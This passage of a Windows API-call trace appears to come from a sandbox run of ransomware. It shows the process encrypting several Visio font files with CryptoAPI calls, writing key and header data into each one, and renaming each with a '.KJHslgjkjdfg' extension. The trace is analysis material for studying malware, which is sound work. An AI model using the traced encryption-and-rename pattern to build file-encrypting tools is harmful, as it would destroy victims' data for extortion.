pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0190.597] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.597] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0190.597] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.597] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.597] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.597] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.597] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.597] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.598] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.598] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.598] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x369d3, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x369d3, lpOverlapped=0x0) returned 1 [0190.602] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x369e0, dwBufLen=0x369e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x369e0) returned 1 [0190.604] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.604] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x369e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x369e0, lpOverlapped=0x0) returned 1 [0190.605] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.605] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x36ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.605] SetEndOfFile (hFile=0x12c) returned 1 [0190.609] GetProcessHeap () returned 0x2ef0000 [0190.609] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.609] GetProcessHeap () returned 0x2ef0000 [0190.609] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.kjhslgjkjdfg")) returned 1 [0190.610] CloseHandle (hObject=0x12c) returned 1 [0190.610] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0190.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.612] GetProcessHeap () returned 0x2ef0000 [0190.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.612] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.612] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.612] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0190.614] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.614] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.614] GetProcessHeap () returned 0x2ef0000 [0190.614] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.614] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0190.615] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.615] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0190.615] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.615] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.615] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.615] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.615] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.615] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.615] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.615] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2fde5, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x2fde5, lpOverlapped=0x0) returned 1 [0190.619] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2fdf0, dwBufLen=0x2fdf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2fdf0) returned 1 [0190.621] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.621] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2fdf0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x2fdf0, lpOverlapped=0x0) returned 1 [0190.622] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.622] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2feb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.622] SetEndOfFile (hFile=0x12c) returned 1 [0190.626] GetProcessHeap () returned 0x2ef0000 [0190.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.626] GetProcessHeap () returned 0x2ef0000 [0190.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.kjhslgjkjdfg")) returned 1 [0190.627] CloseHandle (hObject=0x12c) returned 1 [0190.627] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0190.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.628] GetProcessHeap () returned 0x2ef0000 [0190.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.628] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.628] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0190.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.630] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.630] GetProcessHeap () returned 0x2ef0000 [0190.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.630] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0190.630] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.630] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0190.630] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.631] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.631] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.631] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.631] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.631] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.631] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.631] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9e413, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x9e413, lpOverlapped=0x0) returned 1 [0190.643] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9e420, dwBufLen=0x9e420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9e420) returned 1 [0190.649] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.649] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9e420, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x9e420, lpOverlapped=0x0) returned 1 [0190.652] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.652] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x9e4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.652] SetEndOfFile (hFile=0x12c) returned 1 [0190.655] GetProcessHeap () returned 0x2ef0000 [0190.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.655] GetProcessHeap () returned 0x2ef0000 [0190.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.kjhslgjkjdfg")) returned 1 [0190.656] CloseHandle (hObject=0x12c) returned 1 [0190.663] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0190.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.664] GetProcessHeap () returned 0x2ef0000 [0190.664] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.664] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.664] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.664] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.666] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.667] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.667] GetProcessHeap () returned 0x2ef0000 [0190.667] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.667] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0190.667] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.667] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0190.667] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.667] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.667] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.667] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.667] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.667] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.667] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.667] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.667] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdfc98, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xdfc98, lpOverlapped=0x0) returned 1 [0190.684] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xdfca0, dwBufLen=0xdfca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xdfca0) returned 1 [0190.694] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.694] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdfca0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xdfca0, lpOverlapped=0x0) returned 1 [0190.696] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.696] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xdfd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.697] SetEndOfFile (hFile=0x12c) returned 1 [0190.700] GetProcessHeap () returned 0x2ef0000 [0190.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.700] GetProcessHeap () returned 0x2ef0000 [0190.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.kjhslgjkjdfg")) returned 1 [0190.712] CloseHandle (hObject=0x12c) returned 1 [0190.713] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0190.713] GetProcessHeap () returned 0x2ef0000 [0190.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.713] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0190.713] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.713] GetProcessHeap () returned 0x2ef0000 [0190.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.713] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0190.713] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.713] GetProcessHeap () returned 0x2ef0000 [0190.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0190.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.713] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0190.713] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.713] GetProcessHeap () returned 0x2ef0000 [0190.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 